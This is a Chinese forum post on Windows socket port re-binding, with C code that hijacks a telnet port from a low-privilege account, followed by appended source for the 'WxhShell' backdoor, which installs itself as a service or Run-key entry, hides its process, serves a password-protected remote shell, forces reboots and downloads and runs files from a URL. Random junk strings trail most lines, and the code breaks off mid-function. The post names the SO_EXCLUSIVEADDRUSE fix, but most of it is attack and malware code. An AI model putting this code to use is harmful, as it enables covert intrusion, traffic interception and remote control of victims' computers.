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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %U97{y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  qJj5_  
&gvX<X4e  
  saddr.sin_family = AF_INET; -n$hm+S  
a'\fS7aE0l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 79M` ?xm  
`+WQ^dP@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); VDv>I 2%  
LoS%  FI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `&A-m8X  
C5#$NV99p  
  这意味着什么?意味着可以进行如下的攻击: Y{m1\s/o  
gO! :WD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &R}2/Mt  
}9&~+Q2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t*!Q9GC_  
bd.t|A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /57)y_ \  
?u M2|Nk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fTA%HsvU:  
0-A@X>6bs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;KW}F|  
Z <tJ+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R&s\h"=*  
;jpsH?3g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0SWec7G  
z4c{W~}`  
  #include {= l 9{K`~  
  #include ^<'=]?xr  
  #include .^* .-8q  
  #include    "zBYhZr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Yf,U2A\  
  int main() x AR9* <-  
  { v`pIovn  
  WORD wVersionRequested; M&K'5G)7  
  DWORD ret; L(eLxw e%  
  WSADATA wsaData; elm]e2)F  
  BOOL val; FQCz_ z  
  SOCKADDR_IN saddr; Q>emyij  
  SOCKADDR_IN scaddr; a-7T   
  int err; RI jz7ZG  
  SOCKET s; =;^#5dpt$  
  SOCKET sc; :Sd iG=t  
  int caddsize; ^< O=<tN\  
  HANDLE mt; t#6@~49  
  DWORD tid;   oefhJM!y  
  wVersionRequested = MAKEWORD( 2, 2 ); Z-,' M tD  
  err = WSAStartup( wVersionRequested, &wsaData ); PF?tEw_WB  
  if ( err != 0 ) { ^X/[x]UOT@  
  printf("error!WSAStartup failed!\n"); A~Ov(  
  return -1; 8P= z"y  
  } (:]on^|  
  saddr.sin_family = AF_INET; B'Ll\<mq@  
   &}G2;O}3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4=E9$.3a  
Bdd>r# ]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L^zF@n^5A  
  saddr.sin_port = htons(23); ]ozZW:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >F~]r$G  
  { Td !7Rx _  
  printf("error!socket failed!\n"); jKI0d+U  
  return -1; syYe0~  
  } DPE]<oM  
  val = TRUE; gE>_:s   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 " E U[Lb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ir%?J&C+t  
  { 2}P?N  
  printf("error!setsockopt failed!\n"); P<@V  
  return -1; O%.c%)4Xo  
  } D@5AI ](  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O*dN+o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &xG>"sJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 INFbj8T  
K(+ ~#$|-~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V9tG2m Lf>  
  { cZ{-h  
  ret=GetLastError(); /K{` gc  
  printf("error!bind failed!\n"); gxS*rzCG  
  return -1; ]YP J.[n  
  } <lj;}@qQ<  
  listen(s,2); o+o'!)  
  while(1) M~Tx 4_t  
  { _<`j?$P  
  caddsize = sizeof(scaddr); 9 -\.|5;:  
  //接受连接请求 lC8DhRd0_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bF5mCR:  
  if(sc!=INVALID_SOCKET) hP1H/=~  
  { y my/`%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9%i|_c}  
  if(mt==NULL) =}6yMR!4R<  
  { DM3W99PWA  
  printf("Thread Creat Failed!\n"); ~|_s2T  
  break; w^e5"og]  
  } Flrpk`4  
  } L 1FT h  
  CloseHandle(mt); h JVy-]  
  } |;XkU`G  
  closesocket(s); +9MoKn=h  
  WSACleanup(); hx4X#_)v  
  return 0; g]sc)4  
  }   2 1b  
  DWORD WINAPI ClientThread(LPVOID lpParam) r2WW}W  
  { 0}a="`p#<  
  SOCKET ss = (SOCKET)lpParam; 9A@/5Z:v5W  
  SOCKET sc; IkzY   
  unsigned char buf[4096]; 3oH.1M/  
  SOCKADDR_IN saddr; 9~ [Sio~  
  long num; +K6j p  
  DWORD val; @2>A\0U  
  DWORD ret; &LRO^[d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f@3?kM(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oCw>b]S  
  saddr.sin_family = AF_INET; #GTR}|Aga  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sop *?0  
  saddr.sin_port = htons(23); i%M6$or  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T$p!I RPt  
  { 4'Svio  
  printf("error!socket failed!\n"); 0X.(BRI~6p  
  return -1; _Hhf.DmUAH  
  } kx6AMx!nX  
  val = 100; G?p !*7N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "iu9r%l94  
  { ,".1![b  
  ret = GetLastError(); b4 Y<  
  return -1; U`G  
  } xL-]gwq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4^3}+cJ7j  
  { 36 &ghx  
  ret = GetLastError(); Bri yy  
  return -1; reBAxmt   
  } Aoi) 11>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b3'U }0Ug  
  { z( 00"ei  
  printf("error!socket connect failed!\n"); XfYMv38(  
  closesocket(sc); A_:CGtv:  
  closesocket(ss); DW@|H  
  return -1; y\?T%g  
  } , QB]y|:  
  while(1) No|T#=BZ[  
  { 50< QF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8)Z)pCN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DlMT<ld  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mz[Q]e~&i  
  num = recv(ss,buf,4096,0); 3PLYC}Jq  
  if(num>0) &U.U<  
  send(sc,buf,num,0); [w1 4hHnq  
  else if(num==0) 3xhGmD\SKO  
  break; |~+i=y  
  num = recv(sc,buf,4096,0); S S)9+0$  
  if(num>0) H.Q648A"PF  
  send(ss,buf,num,0); efT@A}sV  
  else if(num==0) k1.h|&JJN  
  break; *F^t)K2  
  } A$7j B4  
  closesocket(ss); ~x-"?K  
  closesocket(sc); `X8wnD  
  return 0 ; ehpU`vQz  
  }  l_2B  
*!m\%*y{  
H(QbH)S$6  
========================================================== ]B2%\}c  
B7 #O>a  
下边附上一个代码,,WXhSHELL 3Fgl zJ  
: Yb_  
========================================================== BzXTHFMSy  
_;!$1lM[  
#include "stdafx.h" )wM881_!  
2gN78#d  
#include <stdio.h> Ux!q(9<_  
#include <string.h> ;"9$LHH*  
#include <windows.h> EK%J%NY  
#include <winsock2.h> gj@>9  
#include <winsvc.h> CZzgPId%x  
#include <urlmon.h> 1C5~GI`  
.3 S9=d?  
#pragma comment (lib, "Ws2_32.lib") ?^by3\,VZ  
#pragma comment (lib, "urlmon.lib") g9.y`o}c  
0 3?7kAI  
#define MAX_USER   100 // 最大客户端连接数 8+n *S$  
#define BUF_SOCK   200 // sock buffer J5zKwt  
#define KEY_BUFF   255 // 输入 buffer (R|_6[zy  
c$n`=NI  
#define REBOOT     0   // 重启 ] :.  
#define SHUTDOWN   1   // 关机 q&nEodv>+  
\uyZl2=WWa  
#define DEF_PORT   5000 // 监听端口 "MPr'3  
-%_vb6u  
#define REG_LEN     16   // 注册表键长度 i4dy0jfN  
#define SVC_LEN     80   // NT服务名长度 g/W&Ap;qVL  
G@4n]c_  
// 从dll定义API XE`u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~j36(`t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ai]KH7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6[3>[ej:x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !E~czC\p6  
Blox~=cW  
// wxhshell配置信息 ~(-df>  
struct WSCFG { R/\qDY,@  
  int ws_port;         // 监听端口 qM(@wFg  
  char ws_passstr[REG_LEN]; // 口令 Rebo.6rG  
  int ws_autoins;       // 安装标记, 1=yes 0=no mNPz%B  
  char ws_regname[REG_LEN]; // 注册表键名 c{{RP6o/j=  
  char ws_svcname[REG_LEN]; // 服务名 AmX ~KK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e8U6D+jY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^5Ob(FvU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4vMjVbr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /_V4gwb}|-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Is(ZVI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  'EO"0,  
2&0#'Tb  
}; |o#pd\  
.|/VD'xV"  
// default Wxhshell configuration [u;>b?[{  
struct WSCFG wscfg={DEF_PORT, n*m"yp  
    "xuhuanlingzhe", $|o[l.q2  
    1, %&M*G@j  
    "Wxhshell", Y.#:l<  
    "Wxhshell", )rbcY0q  
            "WxhShell Service", ,h },jkY4  
    "Wrsky Windows CmdShell Service", yUX<W'-Hev  
    "Please Input Your Password: ", h9cx~/7,_)  
  1, dG%{&W9  
  "http://www.wrsky.com/wxhshell.exe", n7,LfO#  
  "Wxhshell.exe" wT&P].5n  
    }; Kj6@=  
-f=4\3y3p  
// 消息定义模块 b/&{:g!B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]Vd1fkXO0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0:zDt~Ju  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S*(n s<L  
char *msg_ws_ext="\n\rExit."; g*$yUt  
char *msg_ws_end="\n\rQuit."; nT%<!/}!  
char *msg_ws_boot="\n\rReboot..."; S,GM!YZg  
char *msg_ws_poff="\n\rShutdown..."; Yzih-$g  
char *msg_ws_down="\n\rSave to "; ;s w3MRJ  
Rqun}v}  
char *msg_ws_err="\n\rErr!"; m$A-'*'  
char *msg_ws_ok="\n\rOK!"; T#=&oy7  
]MRQcqbpqL  
char ExeFile[MAX_PATH]; Vv.q{fRvYB  
int nUser = 0; "/zDcZbL;  
HANDLE handles[MAX_USER]; OYY_@'D  
int OsIsNt; X  m%aT  
b)+;@wa~  
SERVICE_STATUS       serviceStatus; xi!R[xr1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oU)HxV  
Vf` 9[*j  
// 函数声明 'Q4V(.   
int Install(void); ka[%p,H  
int Uninstall(void); m95;NT1N/g  
int DownloadFile(char *sURL, SOCKET wsh); J7$JW3O  
int Boot(int flag); hG>3y\!#  
void HideProc(void); |3uE"\nfA  
int GetOsVer(void); uz@WW!+o  
int Wxhshell(SOCKET wsl);  *egAx  
void TalkWithClient(void *cs); -% g{{'9B  
int CmdShell(SOCKET sock); |p @,]c z  
int StartFromService(void); TDjjaO  
int StartWxhshell(LPSTR lpCmdLine); nuLxOd*n  
F(+dX4$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  -TKQfd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UZ3oc[#D=]  
*Q:EICDE7  
// 数据结构和表定义 m/>z}d05h  
SERVICE_TABLE_ENTRY DispatchTable[] = ~riV9_-  
{ x#&%lJT  
{wscfg.ws_svcname, NTServiceMain}, '3V?M;3|K  
{NULL, NULL} ^fbw0  
}; 1F58 2 l  
SBqx_4}  
// 自我安装 pxO ?:B  
int Install(void) o&vODs  
{ |h75S.UY  
  char svExeFile[MAX_PATH]; 4.0JgX  
  HKEY key; aBx8wl*Vm  
  strcpy(svExeFile,ExeFile); 0G"I}Jp{  
"N4rh<<  
// 如果是win9x系统,修改注册表设为自启动 K/+w6d  
if(!OsIsNt) { <j$n7#qk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4'ymPPY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *C n `pfO  
  RegCloseKey(key); ,c_NXC^X?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { om'DaG`A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cWG?`6xU&  
  RegCloseKey(key); )./'`Mx?  
  return 0; sVJwe\!  
    } Z )f\^  
  } @f wk  
} ><Z`) }f  
else { Sx%vJYH0  
auP6\kpMe  
// 如果是NT以上系统,安装为系统服务 1Ev#[FOc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A(>kp=~  
if (schSCManager!=0) ~Q)137u]P  
{ (e$/@3*  
  SC_HANDLE schService = CreateService nQW`X=Ku  
  ( umD[4aP~;  
  schSCManager, zxt&oT0Q  
  wscfg.ws_svcname, Pxn;]!Z #  
  wscfg.ws_svcdisp, `]xot8  
  SERVICE_ALL_ACCESS, LVj62&,-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^%qh E8  
  SERVICE_AUTO_START, eVYUJ,  
  SERVICE_ERROR_NORMAL, DlXthRM  
  svExeFile, D9|?1+Kc  
  NULL, 5wws8w  
  NULL, '<YVDB&-d,  
  NULL, ^Q\O8f[u  
  NULL,  FGP~^Dr/  
  NULL ] EzX$T  
  ); Q*+_%n1 /  
  if (schService!=0) ,^_aqH  
  { MFyMo  
  CloseServiceHandle(schService); gTp){  
  CloseServiceHandle(schSCManager); nPj+mg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DNy1} 3wg  
  strcat(svExeFile,wscfg.ws_svcname); Tmo+I4qoL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x>@+lV'O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fJ?$Z|  
  RegCloseKey(key); W_zAAIY_Y  
  return 0; AF qut  
    } =v$H8w  
  } btC.EmX  
  CloseServiceHandle(schSCManager); *WQ}ucE^#  
} 3??*G8Yp  
} [akyCb  
OudD1( )W  
return 1; Qhd~4  
} hal3J  
o'3t(dyyH  
// 自我卸载 xpf\S10e  
int Uninstall(void) 6c3+q+#J2  
{ "Iy @PR?>  
  HKEY key; HgwL~vG  
Q-[^!RAK?  
if(!OsIsNt) { HHbkR2H1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "/).:9],}  
  RegDeleteValue(key,wscfg.ws_regname); }31z 35  
  RegCloseKey(key); nD\ X3g `V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .&ynS  
  RegDeleteValue(key,wscfg.ws_regname); &8Cuu$T9)  
  RegCloseKey(key); t-\S/N  
  return 0; {)eV) 2a  
  } 13]sZ([B%|  
} 4"e7 43(  
} )T6+}   
else { ;6o p|  
a4 g~'^uC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?o h3t  
if (schSCManager!=0) BZqb o`9  
{ =>6Z"LD(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'M\ou}P  
  if (schService!=0) g]C+uj^  
  { snTj!rV/_  
  if(DeleteService(schService)!=0) { |WeLmy%9  
  CloseServiceHandle(schService); Vkex&?>v$  
  CloseServiceHandle(schSCManager); uU`zbh}]L.  
  return 0; +fzZ\  
  } }k}5\%#li5  
  CloseServiceHandle(schService); kTG}>I  
  } EkV v  
  CloseServiceHandle(schSCManager); AKM\1H3U  
} 9dw02bY`  
} tkWWR%c"  
}rVnuRq  
return 1; *#EyfMz-B  
} c0Jf  
A0S6 4(  
// 从指定url下载文件 8(%iYs$  
int DownloadFile(char *sURL, SOCKET wsh) *D]/V U  
{ 9F k wtF  
  HRESULT hr; K ^H=E  
char seps[]= "/"; q{c6DCc]\  
char *token; 1S\q\kz->D  
char *file; H5/%"1Q  
char myURL[MAX_PATH]; &cDnZ3Q;  
char myFILE[MAX_PATH]; Q=~e|  
NK*~UePy  
strcpy(myURL,sURL); &#g;=jZ  
  token=strtok(myURL,seps); "xS",6Sy  
  while(token!=NULL) LtH;#Q  
  { ;wDcYs  
    file=token; yYWGM  
  token=strtok(NULL,seps); "S#0QH%5  
  } :!3CoC.X|c  
X"8Jk 4y  
GetCurrentDirectory(MAX_PATH,myFILE); ^5u}   
strcat(myFILE, "\\"); N+!{Bt*  
strcat(myFILE, file); CbS9fc&  
  send(wsh,myFILE,strlen(myFILE),0); sP5PYNspA  
send(wsh,"...",3,0); sxnj`z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ) #Y*]  
  if(hr==S_OK) bbiDY  
return 0; hV'JTU]H  
else  z{``v|K  
return 1; Y'bDEdeT  
3boINmX  
} 69r<Z  
.\{GU9|nO  
// 系统电源模块 lXW.G  
int Boot(int flag) a,M7Bb x  
{ f]%$HfF @  
  HANDLE hToken; v~ZdMQvwt  
  TOKEN_PRIVILEGES tkp; `dn|n I2  
DDc?G Y:  
  if(OsIsNt) { 8WZM}3x$f{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &'c1"%*%8>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #s)6u?N  
    tkp.PrivilegeCount = 1; ggJn oL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b!5W!vcK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hqD]^P>l1  
if(flag==REBOOT) { vM1f-I-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zg0)9 br  
  return 0; QP >P  
} 536H*HdN  
else { vv"_u=H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 68+ 9^  
  return 0; ; R&wr _%  
} bh3}[O,L A  
  } NK$k9,  
  else { 5yuj}/PZ  
if(flag==REBOOT) { |94"bDL3~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >j|.pi  
  return 0; t(/e~w  
} ]06LNE  
else { w(eAmN:zR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 506B =  
  return 0; a:XVu0`(  
} !\z:S?V  
} cX> a>U  
YRfs8I^rg  
return 1; O1ofN#u  
} 9H_2Y%_  
cWA9n}Z  
// win9x进程隐藏模块 g G>1  
void HideProc(void) SWN i@  
{ Yo/U/dB  
\A6MVMF8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S1E =E5  
  if ( hKernel != NULL ) _*>bf G  
  { _[<R<&jG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !\'7j-6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TUw^KSa  
    FreeLibrary(hKernel); rr>QG<i;G  
  } AE={P*g  
.0:BgM  
return; mS p -  
} j6%X  
ug'I:#@2  
// 获取操作系统版本 #v0"hFOH,  
int GetOsVer(void) GpMKOjVm|  
{ J;W(}"cFq  
  OSVERSIONINFO winfo; cv=nGFx6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +dX1`%RR[  
  GetVersionEx(&winfo); ^VK-[Sz&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d rnqX-E;  
  return 1; D>+&= 5{  
  else %6+J]U  
  return 0; A[oLV"J6x5  
}  Zf68 EB  
1L]7*NJe  
// 客户端句柄模块 LZch7Xe3  
int Wxhshell(SOCKET wsl) +0rMv  
{ +c.A|!-  
  SOCKET wsh; >J_{mU  
  struct sockaddr_in client; ]sjYxe  
  DWORD myID; $#2ik~]>  
Fvf308[  
  while(nUser<MAX_USER) o,[~7N  
{ 8Y*SZTzV  
  int nSize=sizeof(client); S(9Xbw)T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rp `JF}~o  
  if(wsh==INVALID_SOCKET) return 1; 9_h 3<3e  
/e1m1B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S+3'C  
if(handles[nUser]==0) hLPg=8nJ_  
  closesocket(wsh); @[u!  
else no- Lx-x  
  nUser++; rUEoz|e4a  
  } 9r-]@6;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _ I8L#4\(=  
xB_F?d40T5  
  return 0; }ddwL  
} "~Twx]Z  
`,i'vb`W#b  
// 关闭 socket ZZOBMF7  
void CloseIt(SOCKET wsh) @P#uH5U  
{ 'bGL@H  
closesocket(wsh); g9|B-1[  
nUser--; }^Be^a<ub  
ExitThread(0); >8Wvz.Nq/  
} b/Y9fQ n  
0-pLCf  
// 客户端请求句柄 Zs<}{`-  
void TalkWithClient(void *cs) vn|u&}h  
{ fI>>w)5  
s|Ls  
  SOCKET wsh=(SOCKET)cs; s, m+q)  
  char pwd[SVC_LEN]; ^ AxU  
  char cmd[KEY_BUFF]; z!;n\CV@  
char chr[1]; }1]/dCv  
int i,j; t5mI)u  
3":ef|w]  
  while (nUser < MAX_USER) { r`XIn#o  
jT"P$0sJAd  
if(wscfg.ws_passstr) { ' Bb]< L`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Q4U<`ds!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r/1:!Vu(  
  //ZeroMemory(pwd,KEY_BUFF); dl;~-'0  
      i=0; }uo5rB5D  
  while(i<SVC_LEN) { 95B w;U3E  
~t[ #p:  
  // 设置超时 '#$Y :/  
  fd_set FdRead; \kcJF'JFA0  
  struct timeval TimeOut; H`q" _p:  
  FD_ZERO(&FdRead); Y(GH/jw  
  FD_SET(wsh,&FdRead); ~R/w~Kc!/A  
  TimeOut.tv_sec=8; }Uki)3(  
  TimeOut.tv_usec=0; :zfnp,Gv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z l.}=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N ?Jr8  
\eF5* {9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Xze).g  
  pwd=chr[0]; )~xL_yW_X  
  if(chr[0]==0xd || chr[0]==0xa) { I2kqA5>)j  
  pwd=0; 6} "?eW  
  break; 4 r#O._Z  
  } D 7 l&L  
  i++; wGa0w*$  
    } FP<RoA? W  
j[NA3Vj1P  
  // 如果是非法用户,关闭 socket u{0+w\xH\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w,TyV%b[_  
} =o;QvOS;  
Yf.H$L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N[X%tf\L]F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nR4L4tdS  
I8HUH* |)n  
while(1) { x n)FE4  
BF8n: }9U  
  ZeroMemory(cmd,KEY_BUFF); x&sT )=#  
G}ElQD  
      // 自动支持客户端 telnet标准   NHA 2 i  
  j=0; f^](D'L?D  
  while(j<KEY_BUFF) { @z"Zj 3ti  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5~k-c Ua  
  cmd[j]=chr[0]; S`2MQL  
  if(chr[0]==0xa || chr[0]==0xd) { !jY/}M~F1  
  cmd[j]=0; G&:[G>iSm^  
  break; zr@Bf!VG:  
  } b0X*+q   
  j++; r4t|T^{sl  
    } l2GMVAca  
Le9r7O:  
  // 下载文件 G?\o_)IJ  
  if(strstr(cmd,"http://")) { 6;Cr92  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); //@_`.  
  if(DownloadFile(cmd,wsh)) -aG( Yx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); seY0"ym&e  
  else &=fBqod  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /' L20aN2  
  } z/ T|  
  else { RyD2LAf)J  
D}"\nCz}y&  
    switch(cmd[0]) { `}k!SqG  
  QI~s~j  
  // 帮助 j^KM   
  case '?': { efMv1>{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (HLy;^#R  
    break; I5'^tBf[{  
  } 1mOZ\L!m*  
  // 安装 L6BHh_*E  
  case 'i': { z QoMHFL3  
    if(Install()) hw_7N)}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDip P  
    else 25ul,t_Du  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)G/YUv76  
    break; v0X5`VV  
    } ig; ~ T  
  // 卸载 E1 *\)q  
  case 'r': { R-`{W:S  
    if(Uninstall()) ( NjX?^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1fJ`WT6,  
    else w|Zq5|[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ul@ZCv+  
    break; AEPgQ9#E  
    } po=*%Zs*T  
  // 显示 wxhshell 所在路径 )~d2`1zGS  
  case 'p': { Uo^s]H#:  
    char svExeFile[MAX_PATH]; K/Q;]+D  
    strcpy(svExeFile,"\n\r"); PG<N\  
      strcat(svExeFile,ExeFile); "R*B~73  
        send(wsh,svExeFile,strlen(svExeFile),0); ]*i>KR@G  
    break; U@& <5'  
    } ct~lt'L\  
  // 重启 5`x9+XvoN  
  case 'b': { A ,LAA$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dmlh;Z  
    if(Boot(REBOOT)) ]Wd{4(b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KN}[N+V>  
    else { % Pa-fee  
    closesocket(wsh); IZAbW  
    ExitThread(0); \SLYqJ~m  
    } d_5h6C z4  
    break; ACyQsmqm:  
    } "a,Tc2xk  
  // 关机 {B\.8)&8  
  case 'd': { VKik8)/.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +\:I3nKs%  
    if(Boot(SHUTDOWN)) w_U5w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "A/kL@-C  
    else { pY8+;w EI  
    closesocket(wsh); ppV\FQ{K  
